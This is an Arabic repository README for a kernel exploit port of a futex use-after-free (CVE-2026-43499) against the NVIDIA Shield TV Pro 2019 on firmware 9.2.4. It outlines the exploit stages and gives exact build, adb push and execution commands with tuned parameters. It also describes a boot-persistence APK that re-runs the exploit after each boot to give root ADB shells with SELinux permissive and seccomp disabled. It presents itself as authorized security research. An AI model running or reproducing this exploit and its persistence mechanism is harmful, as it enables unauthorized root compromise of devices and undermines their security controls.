
منفذ مُتحقق منه لثغرة GhostLock CVE-2026-43499 لجهاز NVIDIA Shield TV Pro موديل mdarcy 9.2.4
منفذ arm64 مُتحقق منه لثغرة GhostLock futex PI use-after-free
(CVE-2026-43499) لجهاز NVIDIA Shield TV Pro 2019 (mdarcy) الذي يعمل بنظام Shield
Experience 9.2.4. تُغيّر الحمولة بيانات اعتماد خادم ADB النشط،
لتصبح جلسات ADB الجديدة بمعرف مستخدم UID 0 دون فتح مُحمّل الإقلاع، أو مسح بيانات المستخدم، أو تثبيت su،
أو تعديل الأقسام المُتحقق منها.
هذا استغلال نواة خاص ببناء مُحدد لأبحاث أمنية مُصرح بها. عدم التطابق أو خسارة السباق قد يُسبب انهيار النواة. لا تشغّله على بصمة إصدار، أو نواة، أو جهاز، أو مراجعة عتاد أخرى.
| الحقل | القيمة المطلوبة |
|---|---|
| المنتج | NVIDIA Shield TV Pro 2019، mdarcy |
| بصمة الإصدار | NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys |
| النواة | 4.9.141-tegra-gb6e5605a |
| مستوى تصحيح Android | 2026-01-05 |
| قاعدة النواة | 0xffffff8008080000 (الإزاحة معطّلة) |
تم التحقق من المنفذ على جهاز مقفل مع Verified Boot أخضر و dm-verity مُفعّل. تبقى هذه الآليات سليمة لأن الاستغلال يُغيّر حالة النواة الحية فقط.
بعد تشغيل ناجح، يُبلغ اتصال جديد عن UID/GID 0 لكل من adbd
وغلافه الفرعي، مع صلاحيات كاملة حتى الصلاحية 37، وseccomp معطّل،
وSELinux متساهل. يستمر الجذر عبر قطع اتصال عميل ADB. لا يستمر
عبر إعادة تشغيل adbd أو إعادة تشغيل الجهاز بحد ذاته.
للاستمرارية العملية عبر إعادة التشغيل دون تعديل الأقسام المُتحقق منها،
يتضمن المستودع APK لبيانات المستخدم. مستقبِل BOOT_COMPLETED غير المُصدَّر
يبدأ خدمة أمامية قصيرة العمر، تُشغّل الاستغلال المثبّت بالتجزئة
مرة واحدة لكل إقلاع من UID تطبيق غير مميز وتتوقف عند خروج المُشغّل. لا
حاجة لمضيف خارجي بعد التثبيت. يبقى مراقب Podman خارجي
متاحًا كخيار استرداد احتياطي. انظر
persistence/README.md و
watchdog/README.md.
هذا إعادة استغلال ذاتية، وليس تصحيح برمجي ثابت: كل إقلاع له
فاصل زمني قصير يظل فيه adbd ببيانات اعتماده الأصلية. جعل
adbd يبدأ كجذر قبل تهيئة Android له يتطلب تغيير
سلسلة الإقلاع المُتحقق منها، وهو خارج نطاق هذا التصميم المقفل بدون مسح.
rt_mutex_waiter قديم على مكدس النواة.MCAST_BLOCK_SOURCE وإعادة توجيه عملية شجرة rt-mutex.mm_struct حرة من الرتبة-2 بحمولة skb مُشكّلة.ashmem_misc.fops إلى جدول مزيف مدعوم بمعالجات قراءة/كتابة configfs القديمة.adbd، والتحقق من كائن بيانات اعتماده الكامل.لا تُستخدم مرحلة القراءة/الكتابة الفيزيائية الموروثة عبر pipe-buffer. الملاحظات
التفصيلية للهدف والإزاحات المُتحقق منها موجودة في PORT_STATUS.md.
المُترجم هو Android NDK r29 (aarch64-linux-android30-clang). ابدأ البناء
مباشرة مع NDK Linux مثبت:
cd exploit
make NDK=/opt/android-ndk-r29
أو ابدأ بناء صورة Podman المرفقة، التي تُنزّل أرشيف Linux الرسمي r29 وتتحقق من SHA-1 المنشور قبل الاستخراج:
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
-v "$PWD:/src:Z" \
-w /src/exploit \
ghostlock-android:ndk-r29 make -B
المخرجات:
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761
يستبعد بناء Shield عمدًا خادم su المدمج وحمولة خلفية الشاشة من المشروع المرجعي.
اتصل عبر ADB شبكي مُصرح به، وادفع أصل الإصدار أو البناء المحلي، ثم ادخل إلى غلاف ADB:
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
exploit/build/preload-mdarcy-9.2.4.so \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell
شغّل هذا داخل غلاف الجهاز:
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true
افصل وافتح ناقلًا جديدًا للتحقق:
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'
ترفض الحمولة إعادة التشغيل من غلاف ADB بمعرف UID 0 بالفعل ما لم
يتم توفير GHOSTLOCK_FORCE_ROOT_TRIGGER=1 عمدًا. لا تُجبرها؛
فمسار الجدولة المميز له سلوك PI مختلف وقد يُسبب انهيار النواة.
نزّل APK الإصدار الموقّع إلى
persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk، ثم ثبّته وفعّله
من مضيف ADB PowerShell مُصرح به:
./persistence/install.ps1 `
-Target SHIELD_ADDRESS:5555 `
-AdbPath C:/path/to/platform-tools/adb.exe
يُغيّر المُثبّت بيانات المستخدم فقط ولا يُعيد تشغيل الجهاز. عند
BOOT_COMPLETED التالي، يتحقق التطبيق من بصمة الإصدار الدقيقة والنواة وتجزئة
الحمولة المدمجة، ويسجّل محاولته، ويستدعي GhostLock من UID التطبيق العادي.
قفل ملف، وحالة محاولة واحدة لكل إقلاع، وفترة تبريد 15 دقيقة عبر عمليات
الإقلاع تمنع المحاولات المكررة أو حلقات إعادة التشغيل. لا يُثبّت أي ثنائي su.
يعرض Android إشعارًا منخفض الأولوية Restoring ADB root فقط أثناء
نشاط المُشغّل الأصلي؛ يزيله المُنتظر عند خروج العملية.
انظر persistence/README.md لتفاصيل البناء والتوقيع والسجلات
والتحقق والاسترداد وإلغاء التثبيت.
تم التحقق من APK النهائي مع إيقاف المراقب الخارجي: عدد الإقلاع 134
أظهر أولاً adbd الأصلي بمعرف UID-2000/مُفعّل، وكان الناقل الجديد التالي
بمعرف UID/GID 0 مع قناع الصلاحيات الكامل 0x3fffffffff، وseccomp معطّل،
وSELinux متساهل. كانت الخدمة والإشعار قد نظّفا نفسيهما.
تُكتب تشخيصات التشغيل اليدوي بشكل متزامن إلى
/sdcard/Download/log_<timestamp>.txt، مع الرجوع إلى /data/local/tmp.
يعيد تطبيق الإقلاع توجيه مخرجات المُشغّل والحمولة إلى
files/boot.log الخاص به، القابل للقراءة عبر run-as com.cyberbalsa.ghostlockboot. إذا
أدى السباق إلى انهيار النواة، تمنع حالة ما قبل التشغيل محاولة أخرى في ذلك
عدد الإقلاع وتمتد فترة التبريد 15 دقيقة عبر إعادة التشغيل.
exploit/src/: التشغيل، والاسترجاع، والقراءة/الكتابة العشوائية، وتصحيح بيانات اعتماد adbd المحدود.exploit/targets/shield-mdarcy-9.2.4/: تخطيط الهدف الدقيق الخاص بالبناء.analysis/: أدوات استخراج رموز النواة والتخطيط.persistence/: APK إقلاع على الجهاز، ومُشغّل أصلي، ومُثبّت.watchdog/: خيار استرداد احتياطي من جانب المضيف مثبّت بالتجزئة.report.md: تحليل المنفذ المرجعي الأصلي OPPO المحفوظ لأغراض التتبع.يُشتق هذا المنفذ من إطار عمل GhostLock البحثي والاستغلالي المنشور بواسطة NebuSec ومنفذ OPPO PCKM00 المرجعي بواسطة yijiacloud. KernelSnitch مدمج بموجب شروطه الأصلية.
Apache-2.0؛ انظر LICENSE.